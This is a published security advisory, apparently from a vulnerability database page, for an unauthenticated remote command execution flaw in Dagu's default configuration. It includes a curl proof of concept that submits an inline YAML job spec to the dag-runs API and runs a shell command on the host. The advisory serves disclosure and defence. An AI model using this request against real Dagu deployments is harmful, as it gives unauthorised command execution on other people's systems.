GHSA-6QR9-G2XW-CW92

Vulnerability from github – Published: 2026-02-19 22:04 – Updated: 2026-02-20 21:44
VLAI
Summary
Dagu affected by unauthenticated RCE via inline DAG spec in default configuration
Details

Summary

Dagu's default configuration ships with authentication disabled. The POST /api/v2/dag-runs endpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required — any dagu instance reachable over the network is fully compromised by default.

Details

internal/service/app/config/loader.go:226 sets AuthModeNone as the default. With no auth mode configured, internal/frontend/api/v2/handlers/api.go:520 returns nil from requireExecute() — all permission checks pass without a valid session.

The POST /api/v2/dag-runs endpoint accepts a spec field containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.

PoC

curl -s -X POST http://TARGET:8080/api/v2/dag-runs \
  -H "Content-Type: application/json" \
  -d '{"name":"poc","spec":"steps:\n  - name: rce\n    command: id > /tmp/pwned\n"}'
# Response: {"dagRunId":"<uuid>"}
# /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu)

Confirmed on ghcr.io/dagu-org/dagu:latest with no configuration changes.

Impact

Every dagu deployment using default settings — every Docker deployment, every install following the documentation, every instance without explicit DAGU_AUTH_MODE configuration — is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dagu-org/dagu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.30.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-19T22:04:39Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nDagu\u0027s default configuration ships with authentication disabled. The `POST /api/v2/dag-runs` endpoint accepts an inline YAML spec and executes its shell commands immediately with no credentials required \u2014 any dagu instance reachable over the network is fully compromised by default.\n\n### Details\n`internal/service/app/config/loader.go:226` sets `AuthModeNone` as the default. With no auth mode configured, `internal/frontend/api/v2/handlers/api.go:520` returns `nil` from `requireExecute()` \u2014 all permission checks pass without a valid session.\n\nThe `POST /api/v2/dag-runs` endpoint accepts a `spec` field containing a full YAML DAG definition. The spec is parsed and the commands execute immediately on the host with no validation beyond YAML parsing.\n\n### PoC\n```bash\ncurl -s -X POST http://TARGET:8080/api/v2/dag-runs \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"poc\",\"spec\":\"steps:\\n  - name: rce\\n    command: id \u003e /tmp/pwned\\n\"}\u0027\n# Response: {\"dagRunId\":\"\u003cuuid\u003e\"}\n# /tmp/pwned contains: uid=1000(dagu) gid=1000(dagu)\n```\nConfirmed on `ghcr.io/dagu-org/dagu:latest` with no configuration changes.\n\n### Impact\nEvery dagu deployment using default settings \u2014 every Docker deployment, every install following the documentation, every instance without explicit `DAGU_AUTH_MODE` configuration \u2014 is fully compromised without credentials. An attacker with network access gets OS command execution as the dagu process user.",
  "id": "GHSA-6qr9-g2xw-cw92",
  "modified": "2026-02-20T21:44:24Z",
  "published": "2026-02-19T22:04:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dagu-org/dagu/security/advisories/GHSA-6qr9-g2xw-cw92"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dagu-org/dagu"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dagu affected by unauthenticated RCE via inline DAG spec in default configuration"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.